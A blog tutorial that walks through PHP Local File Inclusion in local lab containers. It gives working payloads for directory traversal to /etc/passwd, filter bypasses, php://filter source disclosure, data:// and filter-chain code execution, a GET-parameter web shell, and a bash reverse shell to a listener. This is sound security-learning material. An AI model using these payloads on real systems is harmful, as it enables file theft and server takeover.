LFI Vulnerability

CxnsxleCxnsxle
6 min read

What is LFI?

Local File Inclusion (LFI) is an attack technique in which we as attackers trick a web application into either running or exposing files on a web server.

LFI attacks can expose sensitive information, and in severe cases, they can lead to cross-site scripting (XSS) and remote code execution (RCE) as we'll see in this writing.

Installing and Preparing Laboratory

I use my machine to understand the vulnerability.

sudo service apache2 start
cd /var/www/html
touch index.php

Familiarizing

Understanding

First, let's see how this vulnerability works.
When you include a file inside PHP code like this.

<?php
    $filename = $_GET['filename'];
    include($filename);
?>

The attacker will simply see sensitive files, just like this.

curl -s -X GET "http://localhost/index.php?filename=/etc/passwd"

Trying Securing Inclusions

You could think of doing more secure your PHP script by forcing your web path concatenation.

<?php
    $filename = $_GET['filename'];
    include("/var/www/html/" . $filename);
?>

But, the attacker could easily use a Directory Traversal and see anything.

curl -s -X GET "http://localhost/index.php/?filename=../../../../../../../..//etc/passwd"

Making it more secure you could replace each ../ by nothing.

<?php
    $filename = $_GET['filename'];
    $filename = str_replace("../", "", $filename);
    include("/var/www/html/" . $filename);
?>

But, the attacker could easily use ....// and see anything.

sudo curl -s -X GET "http://localhost/index.php/?filename=....//...//....//....//....//....//....//....///etc/passwd"

Now, you could use regular expressions to improve inclusion security by evading including a specific path /etc/passwd.

<?php
    $filename = $_GET['filename'];
    $filename = str_replace("../", "", $filename);

    if (preg_match("/\/etc\/passwd/", $filename) === 1) {
        echo "\n[!] Unable to view file content\n";
    } else {
        include("/var/www/html/" . $filename);
    }
?>

But, the attacker could use these syntaxes:

sudo curl -s -X GET "http://localhost/index.php/?filename=....//...//....//....//....//....//....//....///etc/////////passwd"
sudo curl -s -X GET "http://localhost/index.php/?filename=....//...//....//....//....//....//....//....///etc/./././//./././//passwd"

Another way to improve security is by adding forcing file extensions.

<?php
    $filename = $_GET['filename'];
    $filename = str_replace("../", "", $filename);

    include("/var/www/html/" . $filename . ".php");
?>

The attacker leveraging lower PHP versions like 5.2, can use Null Byte Technique.

docker pull tommylau/php-5.2
docker run -dit --name lfiTesting <image_ID>
docker exec -it lfiTesting bash


Another vulnerability of the PHP 5.2 version is concatenating /..

The developer could force file extension by validating the last characters.


Attacking

Let's improve the difficulty of this vulnerability.

First, we use a docker-machine to achieve this.

git clone https://github.com/NetsecExplained/docker-labs
cd docker-labs/file-inclusion/college_website
docker-compose up -d

Docker Lab

We have a college_website at http://localhost:8081.


You can see the website.


Now, to practice wrappers you sould modify index.php file from docker process by changing this line.

include $page.'.php';

by this.

include $page;

Simply PHP Wrapper

Let's start with PHP base64 encoder wrapper to view .php files in raw.

# Wrapper
php://filter/convert.base64-encode/resource=<PHP_FILE>


And the base64 string decoded shows us the database connection PHP file -> admin/db_connect.php.


Let's see that file using the same wrapper and decoding it.


PHP Encoding Wrappers

Let's see another wrapper.

First, we are going to create a Docker image of Ubuntu:latest.

docker pull ubuntu:latest
docker run -dit -p 80:80 --name lfiTesting <image_ID>
docker exec -it lfiTesting bash

We are going to install Vim, apache2 and PHP inside the container and then start the apache service.

apt update
apt install vim apache2 php
service apache2 start

We will remove index.html and create index.php from /var/www/html. Also, we will create a secret file secret.php that contains sensitive content.

index.php

<?php
    $filename = $_GET['filename'];
    include($filename);
?>

secret.php

<?php
    // You shouldn't see this content >:C
?>

  • You can use the wrapper: php://filter/read=string.rot13/resource=FILE.

    And you can decode Caesar cipher by executing this shell code.

      curl -s -X GET "http://localhost/index.php?filename=php://filter/read=string.rot13/resource=secret.php" | tr '[c-za-bC-ZA-B]' '[p-za-oP-ZA-O]'
    


  • Another way to see PHP raw code without seeing rotations is by using iconv conversion, where the wrapper is: php://filter/convert.iconv.utf-8.utf-16/resource=FILE.

      curl -X GET "http://localhost/index.php?filename=php://filter/convert.iconv.utf-8.utf-16/resource=secret.php" > curl_output
    

    And see the content.


LFI to RCE

Let's use BurpSuite and we are going to intercept the filename request.


  • We could use the POST wrapper: php://input to achieve a Remote Code Execution.

    First, we must enable allow_url_encode at /etc/php/8.1/apache2/php.ini and restart apache2 service.

    Now, we can do an RCE.


  • Another way to perform an RCE is with this wrapper: data://text/plain;base64,<BASE64_STRING>.

    First, we have to convert to base64 the malicious code.

      echo -n '<?php system("id"); ?>' | base64
    

    Then, we have to use this base64 string in BurpSuite.


Deconding and Encoding to do RCE

So far we have been using a bit of simple wrappers to do RCEs. But now, we are going to use Decoding/Encoding technique as long as the website interprets .php file.

Why Get Rid of Any Equal Signs

When we code a string with base64 sometimes this adds \= signs and it could lead to an error. For instance, we have coded cxnsxle string with base64 and we add some \= signs on it; when we decode this final string it can lead to an error.


To solve this ERROR we must use this conversion: convert.iconv.UTF8.UTF7 before decoding.


Get Rid of Everything Invalid Base64

In the same way that equal signs. Let's use decode-encode conversion to avoid any invalid base64 by using: convert.base64-decode|convert.base64-encode.


Generate Some Garbage Base64

We should add some garbage to have space to generate specific characters. This is achieved by adding: convert.iconv.UTF8.CSISO2022KR.


Leveraging of Temp PHP Wrapper

You can think that PHP interprets the final conversion, and let me say you that YES!

And better still, you don't need to figure out a valid .php file, because you can use another wrapper: php://temp that works without needing a specific name.


Injecting PHP Code

You can see that the above conversion UTF8.CSISO2022KR adds some characters to the dynamic php://temp file. So, you can add characters one by one to generate this PHP code.

<?php system("id"); ?>

So, you can use this php_filter_chain_generator tool to perform this automatically.


And we could use this big string to do an RCE from the docker-machine a bit more complex :D.


Also, you can generate a template to do RCE by using the GET method with this PHP code.

<?php system($_GET["cmd"]); ?>


Finally adding at the end of the URL request this: &cmd=<COMMAND\>.

We start a netcat listener from the attacker.

sudo nc -nlvp 4646

And the <COMMAND\> is.

bash -c "bash -i >%26 /dev/tcp/172.17.0.1/4646 0>%261"

Stablish the netcat connection.


I appreciate your time reading this write-up ๐Ÿ˜ and I hope it has been valuable for your understanding of the topic, remember that this content does not come 100% from me. Writing this article is a way to reinforce my learning obtained from S4vitar's Hack4u courses ๐Ÿ”ฅ.

0
Subscribe to my newsletter

Read articles from Cxnsxle directly inside your inbox. Subscribe to the newsletter, and don't miss out.

Written by

Cxnsxle
Cxnsxle